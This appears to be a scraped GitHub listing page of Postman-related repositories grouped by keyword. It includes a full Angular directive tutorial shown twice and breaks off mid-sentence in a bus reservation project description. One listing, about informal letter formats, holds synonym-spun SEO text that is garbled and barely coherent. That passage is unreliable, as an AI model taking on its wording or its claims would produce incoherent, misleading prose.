access, auth, authenticate, authenticates, authentication, back end, client, endpoint, exposes, form, format, http, information, issue, json, jsonwebtoken, registration, resource, send, server, server., source, test, tested, token, user, verify 		A demo back end server exposes user registration endpoint, user authentication endpoint, token endpoint and resource endpoint. The resource endpoint is protected by the JWT token. Only the client who possesses the valid token can access the resource. To get a token from the server, the client must authenticates itself to the server. To request the resource in the server, the client issue an http GET request to the resource endpoint, the server will verify the recieved jwt token. Once the token is valid, the server will send back the user information which indicated in the jwt token. Front-end has not been implemented so far. The back-end is tested using Postman. 0 stars 0 watchers 0 forks
RedaZenagui/golangProject
endpoint, exposes, golang, graph, graphql, lang, server, service, struct 		Creating a server that exposes a graphql endpoint that returns a struct taken from gRPC service when queried via something like postman. 0 stars 0 watchers 0 forks
RedaZenagui/golangTest
curl, endpoint, exposes, golang, graph, graphql, lang, server 		Creating a server that exposes a graphql endpoint that returns "This is the answer about the Query !" when queried via something like curl or postman. 0 stars 0 watchers 0 forks

complex (6 listings) (Back to Top)

postmanlabs/postman-app-support
collection, collections, complex, efficient, quickly, struct, support 		Postman helps you be more efficient while working with APIs. Using Postman, you can construct complex HTTP requests quickly, organize them in collections and share them with your co-workers. 4326 stars 4326 watchers 639 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
0xHiteshPatel/f5-postman-workflows
common, complex, extension, function, functions, intended, workflow 		This extension is intended to be used with Postman. The purpose of this extension is to implement common functions that simplify building Collections that implement complex workflows 0 stars 0 watchers 3 forks
zenithtekla/simpleRestAPI
chrome, client, complex, form, light, rest, restclient, test, tested, testing 		RestAPI made simple, tested with Advanced REST client chromeApp, offered by chromerestclient.com, this App is much simpler, fast and light to perform testing than clumsy, complex Postman UI 0 stars 0 watchers 0 forks
ThCC/postman-client
client, complex, email, emails, mail, send, service, template 		Client service, to send simple text emails or, using a template created at Postman, send more complex emails. 0 stars 0 watchers 0 forks
ThCC/postman-client-js
client, complex, email, emails, mail, send, service, template 		Client service, to send simple text emails or, using a template created at Postman, send more complex emails. 0 stars 0 watchers 0 forks

school (6 listings) (Back to Top)

dowglasmaia/api-backend--school-management
backend, changing, conducted, github, hibernate, http, https, school 		School Management System, audit with hibernate-envers, Test conducted with Postman. | front-end: https://github.com/dowglasmaia/school-management-front-end-Angular.gitDay: 15/08/2019 - changing repository to a Private, to continue the Project 1 stars 1 watchers 0 forks
my-lambda-school-projects/postgres-with-postman-tdd
automat, automate, automated, lambda, postgres, projects, school 		Learning postgres with postman automated tdd 0 stars 0 watchers 2 forks
cmullins777/REST-API
course, data, database, design, model, modeling, persistence, register, retrieve, route, routes, school, test, testing, user, users, validation 		A school database where registered users can retrieve, add, update, and delete courses in the database. This project uses REST API design, Node.js, and Express to create API routes, and the Sequelize ORM for data modeling, validation, and persistence, as well as Postman for testing. 0 stars 0 watchers 0 forks
gouravjixer/Informal-letter-format
address, application, business, case, collection, collections, compose, creation, design, download, exercise, form, format, instruction, issue, letters, message, messages, method, school, secure, secured, sort, sorted, spec, steem, struct, test, tests, to do, user, util, utilization, welcome 		Casual Letter Format Sample is as yet a fundamental ability being in the realm of messages and messages. Each individual needs to compose letters in a few or other way. Letters for an occupation application, protests, thank you, asking for something, recommending something and so forth are in pattern might be in a business field or in school period. It likewise has its favorable circumstances. Empowering understudies in early ages for composing casual letter organize CBSE will enhance their relational abilities, include certainty, enhancing penmanship aptitudes, and make them think about composing organization and utilizations and its organizing that how formal and casual letters vary and make significance. The most effective method to compose a casual letter design Composing a casual letter arrange in English professionally is better and make your esteem. A casual letter can be composed in any criteria or way you can pick however composing it in a sorted out way will make its esteem. You ought to take after the organization in like manner. Right off the bat comes the opening: in this one should know how to address the peruser legitimately in a casual way. This ought to be direct and begin by specifying the name of the individual with a sweet welcome. What's more, begin your letter like, 'how are you?', 'trust you are fine.' Etc. The body: the body ought to be composed in a well disposed and individual tone. Consider your genuine relations and issues and begin composing it in like manner tone and dialect. Shutting: here one condenses their perspectives and give a farewell or get together the wave. You can specify, 'see you soon.', 'can hardly wait to see you.' and so forth. Also, compose your name and mark toward the end. casual letter case pdf casual letter case pdf Snap Here To Download Informal letter case pdf Unique ABOUT HANDWRITTEN LETTERS There are fun and creation in written by hand letters. There is still exceptionalness contributing a letter in the case and getting it from a postman, secured with beautiful stamps and love. This shows somebody has set aside time for you to think and sit to compose a letter. These have their own particular appeal. Configuration of casual letter in english Configuration of casual letter in english Configuration of casual letter in english Snap Here To Download Format of the casual letter in English Step by step instructions to compose an individual letter the most effective method to compose an individual letter the most effective method to compose an individual letter Snap here to download how to compose an individual letter PDF End These have their own esteem. These are sent by adoration and time and one keeps them for whatever length of time that recollections. These likewise have exercises and help youngsters to indicate inventiveness, have some good times, take in its significance and upgrade their aptitudes. 0 stars 0 watchers 0 forks
huangshan108/postman-collection-generator-schoolmint
collection, generator, school, schoolmint, spec, version 		This is a SchoolMint specific version. 0 stars 0 watchers 0 forks
LucJoostenNL/Programmeren-4-RESTful-API
assignment, data, database, local, route, routes, school, script, server 		In this assignment from school I have been asked to create a RESTful API with several routes. I used Node JS in combination with Javascript to create a local server that provides an API, and it persists through that API data in a local database. 0 stars 0 watchers 0 forks

inside (6 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "geddup[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is 